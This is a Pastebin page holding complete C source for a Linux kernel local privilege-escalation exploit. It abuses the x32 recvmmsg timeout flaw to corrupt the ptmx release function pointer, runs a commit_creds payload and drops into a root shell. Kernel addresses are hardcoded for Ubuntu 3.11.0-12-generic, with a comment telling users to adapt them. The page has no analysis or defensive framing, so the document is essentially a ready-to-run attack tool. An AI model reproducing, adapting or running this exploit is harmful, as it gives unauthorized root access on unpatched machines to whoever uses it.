Advertisement
LuanProRobloxianScri

Untitled

Sep 14th, 2016
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.88 KB | None | 0 0
  1. #define _GNU_SOURCE
  2. #include <netinet/ip.h>
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <time.h>
  6. #include <string.h>
  7. #include <unistd.h>
  8. #include <fcntl.h>
  9. #include <sys/socket.h>
  10. #include <sys/stat.h>
  11. #include <sys/syscall.h>
  12. #include <sys/wait.h>
  13. #include <sys/mman.h>
  14.  
  15. #define __X32_SYSCALL_BIT 0x40000000
  16. #undef __NR_recvmmsg
  17. #define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
  18.  
  19. #define BUFSIZE 200
  20. #define PAYLOADSIZE 0x2000
  21. #define FOPS_RELEASE_OFFSET 13*8
  22.  
  23. /*
  24. * Adapt these addresses for your need.
  25. * see /boot/System.map* or /proc/kallsyms
  26. * These are the offsets from ubuntu 3.11.0-12-generic.
  27. */
  28. #define PTMX_FOPS 0xffffffff81fb30c0LL
  29. #define TTY_RELEASE 0xffffffff8142fec0LL
  30. #define COMMIT_CREDS 0xffffffff8108ad40LL
  31. #define PREPARE_KERNEL_CRED 0xffffffff8108b010LL
  32.  
  33. typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
  34. typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
  35.  
  36. /*
  37. * Match signature of int release(struct inode*, struct file*).
  38. *
  39. * See here: http://grsecurity.net/~spender/exploits/enlightenment.tgz
  40. */
  41. int __attribute__((regparm(3)))
  42. kernel_payload(void* foo, void* bar)
  43. {
  44. _commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
  45. _prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;
  46.  
  47. *((int*)(PTMX_FOPS + FOPS_RELEASE_OFFSET + 4)) = -1; // restore pointer
  48. commit_creds(prepare_kernel_cred(0));
  49.  
  50. return -1;
  51. }
  52.  
  53. /*
  54. * Write a zero to the byte at then given address.
  55. * Only works if the current value is 0xff.
  56. */
  57. void zero_out(long addr)
  58. {
  59. int sockfd, retval, port, pid, i;
  60. struct sockaddr_in sa;
  61. char buf[BUFSIZE];
  62. struct mmsghdr msgs;
  63. struct iovec iovecs;
  64.  
  65. srand(time(NULL));
  66.  
  67. port = 1024 + (rand() % (0x10000 - 1024));
  68.  
  69. sockfd = socket(AF_INET, SOCK_DGRAM, 0);
  70. if (sockfd == -1) {
  71. perror("socket()");
  72. exit(EXIT_FAILURE);
  73. }
  74.  
  75. sa.sin_family = AF_INET;
  76. sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
  77. sa.sin_port = htons(port);
  78. if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
  79. perror("bind()");
  80. exit(EXIT_FAILURE);
  81. }
  82.  
  83. memset(&msgs, 0, sizeof(msgs));
  84. iovecs.iov_base = buf;
  85. iovecs.iov_len = BUFSIZE;
  86. msgs.msg_hdr.msg_iov = &iovecs;
  87. msgs.msg_hdr.msg_iovlen = 1;
  88.  
  89. /*
  90. * start a seperate process to send a udp message after 255 seconds so the syscall returns,
  91. * but not after updating the timout struct and writing the remaining time into it.
  92. * 0xff - 255 seconds = 0x00
  93. */
  94. printf("clearing byte at 0x%lx\n", addr);
  95. pid = fork();
  96. if (pid == 0) {
  97. memset(buf, 0x41, BUFSIZE);
  98.  
  99. if ((sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
  100. perror("socket()");
  101. exit(EXIT_FAILURE);
  102. }
  103.  
  104. sa.sin_family = AF_INET;
  105. sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
  106. sa.sin_port = htons(port);
  107.  
  108. printf("waiting 255 seconds...\n");
  109. for (i = 0; i < 255; i++) {
  110. if (i % 10 == 0)
  111. printf("%is/255s\n", i);
  112. sleep(1);
  113. }
  114.  
  115. printf("waking up parent...\n");
  116. sendto(sockfd, buf, BUFSIZE, 0, &sa, sizeof(sa));
  117. exit(EXIT_SUCCESS);
  118. } else if (pid > 0) {
  119. retval = syscall(__NR_recvmmsg, sockfd, &msgs, 1, 0, (void*)addr);
  120. if (retval == -1) {
  121. printf("address can't be written to, not a valid timespec struct\n");
  122. exit(EXIT_FAILURE);
  123. }
  124. waitpid(pid, 0, 0);
  125. printf("byte zeroed out\n");
  126. } else {
  127. perror("fork()");
  128. exit(EXIT_FAILURE);
  129. }
  130. }
  131.  
  132. int main(int argc, char** argv)
  133. {
  134. long code, target;
  135. int pwn;
  136.  
  137. /* Prepare payload... */
  138. printf("preparing payload buffer...\n");
  139. code = (long)mmap((void*)(TTY_RELEASE & 0x000000fffffff000LL), PAYLOADSIZE, 7, 0x32, 0, 0);
  140. memset((void*)code, 0x90, PAYLOADSIZE);
  141. code += PAYLOADSIZE - 1024;
  142. memcpy((void*)code, &kernel_payload, 1024);
  143.  
  144. /*
  145. * Now clear the three most significant bytes of the fops pointer
  146. * to the release function.
  147. * This will make it point into the memory region mapped above.
  148. */
  149. printf("changing kernel pointer to point into controlled buffer...\n");
  150. target = PTMX_FOPS + FOPS_RELEASE_OFFSET;
  151. zero_out(target + 7);
  152. zero_out(target + 6);
  153. zero_out(target + 5);
  154.  
  155. /* ... and trigger. */
  156. printf("releasing file descriptor to call manipulated pointer in kernel mode...\n");
  157. pwn = open("/dev/ptmx", 'r');
  158. close(pwn);
  159.  
  160. if (getuid() != 0) {
  161. printf("failed to get root :(\n");
  162. exit(EXIT_FAILURE);
  163. }
  164.  
  165. printf("got root, enjoy :)\n");
  166. return execl("/bin/bash", "-sh", NULL);
  167. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement